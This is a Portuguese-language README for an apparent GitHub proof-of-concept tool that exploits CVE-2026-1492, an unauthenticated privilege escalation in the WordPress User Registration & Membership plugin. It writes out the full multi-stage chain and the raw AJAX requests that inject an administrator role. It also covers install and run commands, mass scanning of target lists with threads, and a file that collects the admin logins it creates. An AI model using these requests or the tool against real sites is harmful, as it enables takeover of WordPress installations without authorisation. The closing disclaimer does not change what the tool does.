CVE-2026-1492

User Registration & Membership <= 5.1.2 - Escalada de Privilégios Não Autenticada via Registro de Associação

🔴 Visão Geral da Vulnerabilidade

CVE-2026-1492 — Escalada de Privilégios Não Autenticada via Registro de Associação

Descrição:
O plugin User Registration & Membership para WordPress é vulnerável à Escalada de Privilégios Não Autenticada em todas as versões até e incluindo a 5.1.2. A vulnerabilidade decorre do manipulador AJAX user_registration_membership_register_member aceitar um valor de role fornecido pelo usuário durante o processo de registro de associação, sem impor nenhuma lista de permissões ou verificação de capacidade no lado do servidor. Um atacante remoto completamente não autenticado pode criar uma cadeia de solicitações AJAX em múltiplas etapas — primeiro registrando uma nova conta de usuário e depois enviando uma chamada register_member maliciosa com "role": "administrator" injetado no payload JSON members_data — para criar silenciosamente uma conta de Administrador do WordPress com privilégios totais. Isso resulta no comprometimento completo da instalação WordPress afetada, sem exigir nenhuma interação do usuário.

🛠️ Descrição da Ferramenta

Este é um script de exploração Proof-of-Concept (PoC) que implementa uma cadeia de ataque completa com ciência de estado contra sites WordPress que executam uma versão vulnerável do plugin User Registration & Membership. A ferramenta realiza exploração inteligente em múltiplos estágios, com descoberta automática, extração de planos, coleta de nonces, registro em fluxo duplo, injeção de função e verificação de administrador.

🔗 Cadeia de Ataque Completa

[Discovery Phase]
  GET /membership-pricing/  →  Extract membership plan IDs
  GET /registration/        →  Extract form fields, nonces, AJAX params

        ↓

[Registration Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  → Register new user account

        ↓

[Role Injection Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator", "membership":"<id>", ...}
  → Inject administrator role into newly created account

        ↓

[Admin Verification Phase]
  GET /wp-admin/  →  Check for admin dashboard indicators
  GET /wp-admin/plugin-install.php  →  Confirm plugin-install access

        ↓

[Fallback Override — Flow B]
  If Flow A admin check fails → repeat with fresh username/email

        ↓

[Write to Nx_admin.txt]
  Format: https://target.com/wp-login.php user:<u> pass:<p>

📋 Requisitos

Requisitos de Sistema

• Python 3.8 ou superior
• Linux / Windows / macOS

Dependências Python

pip install requests urllib3 rich

Ou pelo arquivo de requirements:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Instalação

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-1492.py

⚙️ Uso

Execução Básica

python3 CVE-2026-1492.py

A ferramenta usa uma interface de terminal totalmente interativa desenvolvida com Rich. Todos os parâmetros são solicitados em tempo de execução.

🗂️ Formato da Lista de Alvos

Crie um arquivo de texto simples (padrão: list.txt) com um alvo por linha:

https://target1.com
https://target2.com
http://target3.com/wordpress

🖥️ Prompts Interativos

Targets file [list.txt]: list.txt

Credentials:
  - Username prefix: random number is added per site (fresh user per target/plan/flow)
  - Email: if left empty, it will be built from the username automatically
  - Password: fixed for all sites

Username prefix (optional): Nxploited
Email (optional): 
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10

🔬 Análise Aprofundada da Exploração

Passo 1 — Descoberta

A ferramenta descobre e analisa automaticamente:

Passo 2 — Registro AJAX

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>

Passo 3 — Injeção de Função via AJAX (A Chamada Vulnerável)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>

⚠️ O servidor aceita o campo role vindo do cliente sem nenhuma validação de lista de permissões — esta é a causa raiz do CVE-2026-1492.

Passo 4 — Verificação de Admin

A ferramenta abre uma nova sessão, faz login com as credenciais recém-criadas e verifica:

📁 Arquivos de Saída

Formato de Saída do Admin

https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999

🖥️ Exemplo de Saída do Terminal

╔══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-1492  |  User Registration & Membership — Admin PoC      ║
║   By: Nxploited  |  GitHub: github.com/Nxploited  |  @KNxploited    ║
╚══════════════════════════════════════════════════════════════════════╝

[INFO]   https://target.com
[OK]     https://target.com  |  REG-A-OK  user:Nxploited_A_482910 mem:3
[OK]     https://target.com  |  MEM-A-OK  membership A (role=administrator payload) sent
[OK]     https://target.com  |  ADMIN-A   user:Nxploited_A_482910 pass:Nx_12999 mem:3

┌─────────────────────────────��───────────────────────────────────────────────┐
│  Target                  │  Status           │  Note                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  https://target.com      │  ✅ ADMIN-A       │  user:Nxploited_A_482910 ... │
│  https://target2.com     │  MEM-B-FAIL       │  membership not configured   │
│  https://target3.com     │  DEAD             │  connection error            │
└─────────────────────────────────────────────────────────────────────────────┘

📊 Referência de Códigos de Status

📡 Contato e Autor

Por: Nxploited (Khaled Alenazi)

 

⚠️ Aviso Legal

ESTA FERRAMENTA É FORNECIDA APENAS PARA FINS EDUCACIONAIS E DE PESQUISA DE SEGURANÇA AUTORIZADA.

O autor, Nxploited (Khaled Alenazi), e todos os colaboradores deste projeto não aprovam, apoiam nem assumem qualquer responsabilidade pelo uso indevido desta ferramenta ou por qualquer dano causado pelo uso deste software contra sistemas para os quais você não tenha autorização explícita por escrito.

• ✅ Permitido: Uso em sistemas que você possui ou para os quais recebeu permissão explícita por escrito para testar.
• ❌ Proibido: Uso contra qualquer sistema sem autorização explícita por escrito prévia do proprietário do sistema.

O acesso não autorizado a sistemas de computador é ilegal e punível pelas leis aplicáveis, incluindo, mas não se limitando ao Computer Fraud and Abuse Act (CFAA), ao Computer Misuse Act (CMA) e à legislação equivalente em todo o mundo.

Ao usar esta ferramenta, você assume total e única responsabilidade por suas ações e confirma que tem autoridade legal para testar os sistemas-alvo.

O autor não assume nenhuma responsabilidade por quaisquer danos diretos, indiretos, incidentais ou consequentes decorrentes do uso ou uso indevido deste software.

_{© 2026 Nxploited (Khaled Alenazi) — Somente para pesquisa de segurança autorizada.}